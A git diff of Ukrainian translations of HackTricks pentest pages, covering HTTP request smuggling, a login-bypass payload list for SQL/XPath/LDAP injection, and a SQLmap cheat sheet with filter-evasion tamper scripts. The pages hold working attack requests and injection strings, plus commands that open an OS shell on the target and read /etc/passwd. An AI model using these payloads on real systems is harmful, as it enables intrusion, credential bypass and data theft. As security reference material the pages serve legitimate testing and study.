* **Відокремлені мережеві з'єднання:** "атака" та "нормальні" запити повинні надсилатися через окремі мережеві з'єднання. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
* **Послідовні URL та параметри:** Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних серверів на задньому плані на основі URL та параметрів. Відповідність цим підвищує ймовірність того, що обидва запити обробляються одним і тим же сервером, що є передумовою для успішної атаки.
* **Таймінг та умови гонки:** "нормальний" запит, призначений для виявлення втручання з боку "атаки", конкурує з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атаки". Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
* **Виклики балансування навантаження:** Сервери на передньому плані, які виконують функції балансування навантаження, можуть розподіляти запити між різними системами на задньому плані. Якщо "атака" та "нормальні" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
* **Непередбачений вплив на користувачів:** Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "нормальний" запит, який ви надіслали для виявлення), це вказує на те, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, що вимагає обережного підходу.
* **Відокремлені мережеві з'єднання:** "Атакуючі" та "нормальні" запити повинні надсилатися через окремі мережеві з'єднання. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
* **Послідовні URL та параметри:** Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних серверів на бекенді на основі URL та параметрів. Відповідність цим підвищує ймовірність того, що обидва запити обробляються одним і тим же сервером, що є передумовою для успішної атаки.
* **Таймінг та умови гонки:** "Нормальний" запит, призначений для виявлення втручання з боку "атакуючого" запиту, конкурує з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атакуючого" запиту. Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
* **Виклики балансування навантаження:** Сервери на фронтенді, які виконують функції балансування навантаження, можуть розподіляти запити між різними системами на бекенді. Якщо "атакуючі" та "нормальні" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
* **Непередбачуваний вплив на користувачів:** Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "нормальний" запит, який ви надіслали для виявлення), це вказує на те, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, що вимагає обережного підходу.
## Зловживання HTTP Request Smuggling
### Обхід безпеки на передньому плані через HTTP Request Smuggling
### Обхід безпеки фронтенду через HTTP Request Smuggling
Іноді проксі-сервери на передньому плані впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений зовні, а проксі на передньому плані активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.
Іноді проксі на фронтенді впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений ззовні, а проксі на фронтенді активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.
Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу заходів безпеки на передньому плані, зокрема націлюючись на шлях `/admin`, який зазвичай охороняється проксі на передньому плані:
Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу контролю безпеки на фронтенді, зокрема на шляху `/admin`, який зазвичай охороняється проксі на фронтенді:
**Приклад CL.TE**
```
@ -331,7 +339,7 @@ a=x
### Виявлення переписування запитів фронтального сервера <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Додатки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP клієнта>`, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію або кінцеві точки**.
Застосунки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP клієнта>`, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію чи кінцеві точки**.
Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:
```
@ -384,9 +392,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
У цьому сценарії **параметр коментаря** призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар.
Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих формулярів цей роздільник - символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може бути навіть частиною рядка запиту.
Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих форм, цей роздільник - символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може бути частиною рядка запиту.
Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит має закінчуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.
Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит повинен закінчуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.
### Використання HTTP request smuggling для експлуатації відображеного XSS
@ -427,16 +435,16 @@ A=
#### HTTP/0.9
{% hint style="danger" %}
У разі, якщо вміст користувача відображається у відповіді з **`Content-type`** таким як **`text/plain`**, що запобігає виконанню XSS. Якщо сервер підтримує **HTTP/0.9, це може дозволити обійти це**!
У випадку, якщо вміст користувача відображається у відповіді з **`Content-type`** таким як **`text/plain`**, що запобігає виконанню XSS. Якщо сервер підтримує **HTTP/0.9, це може дозволити обійти це**!
{% endhint %}
Версія HTTP/0.9 була раніше 1.0 і використовує лише **GET** дієслова та **не** відповідає з **заголовками**, лише тілом.
Версія HTTP/0.9 була попередньою до 1.0 і використовує лише **GET** дієслова та **не** відповідає з **заголовками**, лише тілом.
У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з вхідними даними користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **фальшиву HTTP/1.1 відповідь (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`.
У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з вхідними даними користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підроблену HTTP/1.1 відповідь (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`.
### Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка `Host` у URL перенаправлення. Це поширено на веб-серверах, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:
Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка `Host` у URL перенаправлення. Це поширено серед веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -446,7 +454,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Хоча це виглядає безпечним, цю поведінку можна маніпулювати за допомогою HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:
Хоча це виглядає безпечним, цю поведінку можна маніпулювати, використовуючи HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -460,7 +468,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Цей підроблений запит може призвести до того, що наступний оброблений запит користувача буде перенаправлено на веб-сайт, контрольований зловмисником:
Цей прихований запит може призвести до того, що наступний оброблений запит користувача буде перенаправлено на веб-сайт, контрольований зловмисником:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -478,9 +486,9 @@ Location: https://attacker-website.com/home/
Отруєння веб-кешу може бути виконано, якщо будь-який компонент **інфраструктури фронтенду кешує контент**, зазвичай для покращення продуктивності. Маніпулюючи відповіддю сервера, можна **отруїти кеш**.
Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. [Основні приклади](./#basic-examples)). Аналогічно, можливо обманути сервер, щоб він надав контент `/index.html` у відповідь на запит `/static/include.js`. В результаті, контент `/static/include.js` замінюється в кеші на контент `/index.html`, що робить `/static/include.js` недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS).
Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. [Основні приклади](./#basic-examples)). Аналогічно, можливо обманути сервер, щоб він надав контент `/index.html` у відповідь на запит `/static/include.js`. В результаті контент `/static/include.js` замінюється в кеші на контент `/index.html`, що робить `/static/include.js` недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS).
Ця техніка стає особливо потужною, якщо виявлено **вразливість Open Redirect** або якщо є **перенаправлення на сайті до відкритого перенаправлення**. Такі вразливості можуть бути використані для заміни кешованого контенту `/static/include.js` на скрипт під контролем зловмисника, що фактично дозволяє здійснити широкомасштабну атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений `/static/include.js`.
Ця техніка стає особливо потужною, якщо виявлено **вразливість Open Redirect** або якщо є **перенаправлення на сайті до відкритого перенаправлення**. Такі вразливості можуть бути використані для заміни кешованого контенту `/static/include.js` на скрипт під контролем зловмисника, що фактично дозволяє здійснити масовану атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений `/static/include.js`.
Нижче наведено ілюстрацію використання **отруєння кешу в поєднанні з перенаправленням на сайті до відкритого перенаправлення**. Мета полягає в тому, щоб змінити кешований контент `/static/include.js`, щоб надати JavaScript-код, контрольований зловмисником:
```
@ -500,9 +508,9 @@ Content-Length: 10
x=1
```
Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлений на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінюючи **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**).
Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінюючи **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**).
Після успішного **отруєння сокета** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником.
Після успішного **отруєння сокетів** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником.
В подальшому будь-який запит на `/static/include.js` буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.
@ -513,7 +521,7 @@ x=1
> * У **отруєнні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатка.
> * У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу.
Зловмисник створює контрабандний запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:
Зловмисник створює підроблений запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -524,11 +532,11 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Якщо цей підроблений запит отруює кеш-енцію, призначену для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути кешовані під кеш-енцією статичного контенту. Внаслідок цього, зловмисник потенційно може отримати ці кешовані чутливі дані.
Якщо цей підроблений запит отруює кеш-енцію, призначену для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути кешовані під кеш-енцією статичного контенту. Внаслідок цього, зловмисник потенційно міг би отримати ці кешовані чутливі дані.
### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**У цьому пості**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо сервер має метод TRACE увімкненим, це може дозволити зловживання ним за допомогою HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:
[**У цьому пості**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо сервер має метод TRACE увімкненим, це може бути можливим зловживання через HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:
```
TRACE / HTTP/1.1
Host: example.com
@ -546,12 +554,12 @@ XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Прикладом зловживання цією поведінкою буде **переправка спочатку запиту HEAD**. На цей запит буде відповідано лише **заголовками** запиту GET (**`Content-Type`** серед них). І переправити **одразу після HEAD запит TRACE**, який буде **відображати надіслані дані**.\
Оскільки відповідь на HEAD міститиме заголовок `Content-Length`, **відповідь на запит TRACE буде розглядатися як тіло відповіді HEAD, отже, відображаючи довільні дані** у відповіді.\
Оскільки відповідь на HEAD буде містити заголовок `Content-Length`, **відповідь на запит TRACE буде розглядатися як тіло відповіді HEAD, отже, відображаючи довільні дані** у відповіді.\
Ця відповідь буде надіслана до наступного запиту через з'єднання, тому це може бути **використано в кешованому JS файлі, наприклад, для впровадження довільного JS коду**.
### Зловживання TRACE через розділення HTTP-відповідей <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Продовжуючи слідкувати за [**цим постом**](https://portswigger.net/research/trace-desync-attack), пропонується інший спосіб зловживання методом TRACE. Як зазначено, переправка запиту HEAD і запиту TRACE дозволяє **контролювати деякі відображені дані** у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.
Продовжуючи слідувати [**цьому посту**](https://portswigger.net/research/trace-desync-attack), пропонується інший спосіб зловживання методом TRACE. Як зазначено, переправка запиту HEAD і запиту TRACE дозволяє **контролювати деякі відображені дані** у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.
Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (що може бути використано для виконання отруєння кешу).
@ -574,7 +582,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Згенерує ці ці responses (зверніть увагу, що у відповіді HEAD є Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь прихована):
Згенерує ці ці responses (зверніть увагу, що відповідь HEAD має Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь проникає):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -711,7 +719,7 @@ table.add(req)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент є граматичним HTTP Fuzzer, корисним для виявлення дивних розбіжностей у запитах на контрабанду.
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент є HTTP Fuzzer на основі граматики, корисний для виявлення дивних розбіжностей у прихованих запитах.
## Посилання
@ -725,9 +733,17 @@ table.add(req)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, виявлення проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -13,10 +13,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Цей список містить **пейлоади для обходу входу через XPath, LDAP та SQL-ін'єкцію** (в такому порядку).
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
Спосіб використання цього списку полягає в тому, щоб вставити **перші 200 рядків як ім'я користувача та пароль.** Потім вставте повний список спочатку в поле імені користувача, а потім у поле пароля, при цьому вказуючи якийсь пароль (наприклад, _Pass1234._) або відоме ім'я користувача (наприклад, _admin_).
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Цей список містить **payload'и для обходу входу через XPath, LDAP та SQL-ін'єкцію** (в такому порядку).
Спосіб використання цього списку полягає в тому, щоб вставити **перші 200 рядків як ім'я користувача та пароль.** Потім вставте повний список спочатку в поле імені користувача, а потім у поле пароля, при цьому ввівши якийсь пароль (наприклад, _Pass1234._) або якесь відоме ім'я користувача (наприклад, _admin_).
```
admin
password
@ -823,16 +831,25 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic arguments for SQLmap
## Основні аргументи для SQLmap
### Generic
### Загальні
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -69,7 +71,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
```bash
sqlmap -r req.txt --current-user
```
### Впровадження GET запиту
### Впровадження GET-запиту
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
@ -102,7 +104,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Оболонка
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -117,7 +119,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```bash
--file-read=/etc/passwd
```
### Обходити веб-сайт за допомогою SQLmap та автоматичне використання уразливостей
### Обходити веб-сайт за допомогою SQLmap та автоматичне використання
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -149,7 +151,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -157,7 +159,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець корисного навантаження |
| base64encode.py | Кодує всі символи в заданому корисному навантаженні в Base64 |
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
@ -172,54 +174,56 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
| escapequotes.py | Екранує лапки (' і ") |
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Обгортає повний запит версійним коментарем |
| modsecurityzeroversioned.py | Обгортає повний запит коментарем з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри |
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
| overlongutf8.py | Конвертує всі символи в заданому корисному навантаженні (не обробляючи вже закодовані) |
| overlongutf8.py | Перетворює всі символи в заданому корисному навантаженні (не обробляючи вже закодовані) |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
| securesphere.py | Додає спеціально підготовлений рядок |
| sp\_password.py | Додає 'sp\_password' в кінець корисного навантаження для автоматичного затемнення з журналів DBMS |
| space2comment.py | Замінює символ пробілу (' ') на коментарі |
| space2dash.py | Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2morehash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2morehash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2mssqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| space2mssqlhash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує новий рядок ('\n') |
| space2mysqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| space2mysqldash.py | Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує новий рядок ('\n') |
| space2plus.py | Замінює символ пробілу (' ') на плюс ('+') |
| space2plus.py | Замінює символ пробілу (' ') на плюс ('+') |
| space2randomblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги (&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
